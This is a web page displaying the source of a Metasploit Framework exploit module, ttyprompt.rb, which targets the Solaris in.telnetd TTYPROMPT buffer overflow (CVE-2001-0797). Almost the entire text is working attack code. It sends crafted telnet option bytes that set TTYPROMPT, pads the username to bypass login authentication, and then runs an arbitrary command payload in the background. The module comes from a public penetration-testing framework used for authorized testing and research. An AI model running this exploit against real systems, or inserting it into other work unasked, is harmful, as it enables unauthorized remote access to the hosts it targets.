Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/solaris/telnet/ttyprompt.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
16
'Description' => %q{
17
This module uses a buffer overflow in the Solaris 'login'
18
application to bypass authentication in the telnet daemon.
19
},
20
'Author' => [ 'MC', 'cazz' ],
21
'License' => MSF_LICENSE,
22
'References' => [
23
['CVE', '2001-0797'],
24
['OSVDB', '690'],
25
['BID', '5531'],
26
],
27
'Privileged' => false,
28
'Platform' => %w[solaris unix],
29
'Arch' => ARCH_CMD,
30
'Payload' => {
31
'Space' => 2000,
32
'BadChars' => '',
33
'DisableNops' => true,
34
'Compat' => {
35
'PayloadType' => 'cmd',
36
'RequiredCmd' => 'generic perl telnet'
37
}
38
},
39
'Targets' => [
40
['Automatic', {}],
41
],
42
'DisclosureDate' => '2002-01-18',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Stability' => [CRASH_SAFE],
46
'Reliability' => [REPEATABLE_SESSION],
47
'SideEffects' => [IOC_IN_LOGS]
48
}
49
)
50
)
51
52
register_options([
53
Opt::RPORT(23),
54
OptString.new('USER', [ true, 'The username to use', 'bin' ]),
55
])
56
end
57
58
def exploit
59
connect
60
61
_banner = sock.get_once
62
63
print_status('Setting TTYPROMPT...')
64
65
req =
66
"\xff\xfc\x18" \
67
"\xff\xfc\x1f" \
68
"\xff\xfc\x21" \
69
"\xff\xfc\x23" \
70
"\xff\xfb\x22" \
71
"\xff\xfc\x24" \
72
"\xff\xfb\x27" \
73
"\xff\xfb\x00" \
74
"\xff\xfa\x27\x00" \
75
"\x00TTYPROMPT" \
76
"\x01" +
77
rand_text_alphanumeric(6) +
78
"\xff\xf0"
79
80
sock.put(req)
81
select(nil, nil, nil, 0.25)
82
83
print_status('Sending username...')
84
85
filler = rand_text_alpha(1..10)
86
87
req << datastore['USER'] + (" #{filler}" * 65)
88
89
sock.put(req + "\n\n\n")
90
91
select(nil, nil, nil, 0.25)
92
sock.get_once
93
94
sock.put("nohup #{payload.encoded} >/dev/null 2>&1\n")
95
96
select(nil, nil, nil, 0.25)
97
98
handler
99
end
100
end
101
102